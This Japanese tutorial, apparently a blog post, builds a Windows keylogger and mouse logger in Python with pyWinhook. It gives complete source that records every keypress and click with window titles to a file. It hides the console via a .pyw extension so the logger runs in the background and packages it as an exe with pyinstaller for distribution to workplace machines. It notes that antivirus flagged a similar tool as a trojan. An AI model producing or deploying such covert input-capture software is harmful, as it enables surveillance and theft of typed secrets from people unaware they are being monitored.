Pythonでキーロガー、マウスロガーを作成しました。業務で使う場合は全員がPythonをインストールしているとは限らないので、exe形式に変換する必要がありますので、その変換も試してみました。 その手順をまとめたものになります。
キーロガーを作成
インストール
pyWinhook 1.6.2をpipコマンドにてインストールします。
pip install pywinhook
Requirement already satisfied: pywinhook in c:\python38\lib\site-packages (1.6.2)
Requirement already satisfied: pywin32 in c:\python38\lib\site-packages (from pywinhook) (300)
ソース作成
以下の通り、ソースを作成します。今回はSampleソースをそのまま利用しました。ログはマウスクリックをするたびに、テキストファイルに出力するように変更しました。
Sampleソースのままだと、アプリケーションが終了しないため、Ctypes Moduleをimportし、[ctypes.windll.user32.PostQuitMessage(0)]コマンドにて対応しました。
import pyWinhook as pyHook
import ctypes
import pythoncom
post_message = ""
prev_key = ""
def OnMouseEvent(event):
global post_message
print('MessageName: %s' % event.MessageName)
print('Message: %s' % event.Message)
print('Time: %s' % event.Time)
print('Window: %s' % event.Window)
print('WindowName: %s' % event.WindowName)
print('Position: (%d, %d)' % event.Position)
print('Wheel: %s' % event.Wheel)
print('Injected: %s' % event.Injected)
print('---')
# return True to pass the event to other handlers
# return False to stop the event from propagating
post_message = post_message + "\r\nMou:[{0}:{1}]".format(event.Position,event.WindowName)
with open("test.txt", 'a',encoding='utf-8', newline='\n') as file_object:
file_object.write(post_message)
post_message = ""
return True
def OnKeyboardEvent(event):
global post_message
global prev_key
print('MessageName: %s' % event.MessageName)
print('Message: %s' % event.Message)
print('Time: %s' % event.Time)
print('Window: %s' % event.Window)
print('WindowName: %s' % event.WindowName)
print('Ascii: %s' % event.Ascii, chr(event.Ascii))
print('Key: %s' % event.Key)
print('KeyID: %s' % event.KeyID)
print('ScanCode: %s' % event.ScanCode)
print('Extended: %s' % event.Extended)
print('Injected: %s' % event.Injected)
print('Alt %s' % event.Alt)
print('Transition %s' % event.Transition)
print('---')
if prev_key == 'Lcontrol' and event.Key == 'C':
#pythoncom.EnableQuitMessage()
ctypes.windll.user32.PostQuitMessage(0)
pass
# return True to pass the event to other handwdlers
# return False to stop the event from propagating
post_message = post_message + "\r\nKey:[{0}:{1}]".format(event.Key,event.WindowName)
return True
# create the hook mananger
hm = pyHook.HookManager()
# register two callbacks
hm.MouseAllButtonsDown = OnMouseEvent
hm.KeyDown = OnKeyboardEvent
# hook into the mouse and keyboard events
hm.HookMouse()
hm.HookKeyboard()
if __name__ == '__main__':
pythoncom.PumpMessages()
GUI表示におけるコンソール画面を非表示にする
今回はバックグラウンドで稼働させたいので、コマンドプ画面を非表示にします。
拡張子を[.py]から[.pyw]に変更するだけです。
Windows用のexeファイル(実行ファイル)に変換
インストール
pyinstallerをpipコマンドにてインストールします。
pip install pyinstaller
Requirement already satisfied: pyinstaller in c:\python38\lib\site-packages (4.3)
Requirement already satisfied: altgraph in c:\python38\lib\site-packages (from pyinstaller) (0.17)
Requirement already satisfied: pefile>=2017.8.1 in c:\python38\lib\site-packages (from pyinstaller) (2021.5.13)
Requirement already satisfied: pywin32-ctypes>=0.2.0 in c:\python38\lib\site-packages (from pyinstaller) (0.2.0)
Requirement already satisfied: pyinstaller-hooks-contrib>=2020.6 in c:\python38\lib\site-packages (from pyinstaller) (2021.1)
Requirement already satisfied: setuptools in c:\python38\lib\site-packages (from pyinstaller) (41.2.0)
Requirement already satisfied: future in c:\python38\lib\site-packages (from pefile>=2017.8.1->pyinstaller) (0.18.2)
exeファイルへの変換
[.pyw]ファイルがあるフォルダに移動して、以下のコマンドを実行します。
pyinstaller key_logger.pyw
...
33100 INFO: Building COLLECT COLLECT-00.toc completed successfully
distributionの確認
配布用ファイルが作成されていることを確認します。
実行後、completed successfullyと表示されたらexeファイル化完了です。exeファイル化に成功すると、作業フォルダ内に下記のフォルダとexeファイルが生成されます。配布するときはdistフォルダを配布します。
key_logger.pyw
dist/key_logger.exe
実行結果の確認
実行結果
以下のように出力されます。
Mou:[(916, 353):Chrome Legacy Window]
Key:[Lcontrol:● key_logger.pyw - Python - Visual Studio Code]
Key:[S:● key_logger.pyw - Python - Visual Studio Code]
Mou:[(1755, 324):None]
Mou:[(1768, 185):__init__.py - メモ帳]
まとめ
今回はWindows上で稼働するキーロガーの作成方法を紹介しました。他にもpynputやpyhookなどでキーロガーが作成できますが結果がいまいちになるようです。私の場合だと、pynputは、[Windows Defender]に、トロイの木馬扱いをされたので、取り扱いに注意しましょう!